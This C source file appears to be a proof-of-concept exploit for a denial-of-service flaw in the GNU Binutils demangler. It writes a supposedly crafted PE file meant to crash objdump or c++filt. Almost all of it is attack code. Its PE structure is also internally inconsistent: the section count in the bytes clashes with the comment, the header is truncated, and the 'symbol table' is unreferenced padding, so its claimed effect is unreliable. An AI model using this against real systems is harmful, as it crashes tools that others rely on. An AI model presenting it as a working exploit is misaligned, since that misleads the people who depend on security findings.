/*
* CVE-2025-66861 PoC - BinUtils cp-demangle.c DoS
* Target: BinUtils 2.26 (cp-demangle.c d_unqualified_name)
* Description: Crafted PE file triggers DoS in d_unqualified_name function
*/
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
// Minimal PE header structure
unsigned char crafted_pe[] = {
// DOS Header
0x4D, 0x5A, 0x90, 0x00, 0x03, 0x00, 0x00, 0x00,
0x04, 0x00, 0x00, 0x00, 0xFF, 0xFF, 0x00, 0x00,
0xB8, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x40, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00,
// PE Header offset
0x0E, 0x1F, 0xBA, 0x0E, 0x00, 0xB4, 0x09, 0xCD,
0x21, 0xB8, 0x01, 0x4C, 0xCD, 0x21, 0x54, 0x68,
0x69, 0x73, 0x20, 0x70, 0x72, 0x6F, 0x67, 0x72,
0x61, 0x6D, 0x20, 0x63, 0x61, 0x6E, 0x6E, 0x6F,
0x74, 0x20, 0x62, 0x65, 0x20, 0x72, 0x75, 0x6E,
0x20, 0x69, 0x6E, 0x20, 0x44, 0x4F, 0x53, 0x20,
0x6D, 0x6F, 0x64, 0x65, 0x2E, 0x0D, 0x0D, 0x0A,
0x24, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
// PE Signature
0x50, 0x45, 0x00, 0x00,
// COFF Header (Machine: i386)
0x4C, 0x01, 0x03, 0x00,
// NumberOfSections: 1
0x01, 0x00, 0x00, 0x00,
// Crafted symbol table causing d_unqualified_name overflow
0x5F, 0x5F, 0x5F, 0x5F, 0x5F, 0x5F, 0x5F, 0x5F,
0x5F, 0x5F, 0x5F, 0x5F, 0x5F, 0x5F, 0x5F, 0x5F,
0x00, 0x00, 0x00, 0x00
};
int main() {
FILE *fp = fopen("cve_2025_66861_crafted.pe", "wb");
if (fp) {
fwrite(crafted_pe, 1, sizeof(crafted_pe), fp);
fclose(fp);
printf("PoC PE file created: cve_2025_66861_crafted.pe\n");
printf("Use BinUtils tools (objdump, c++filt) to process this file\n");
}
return 0;
}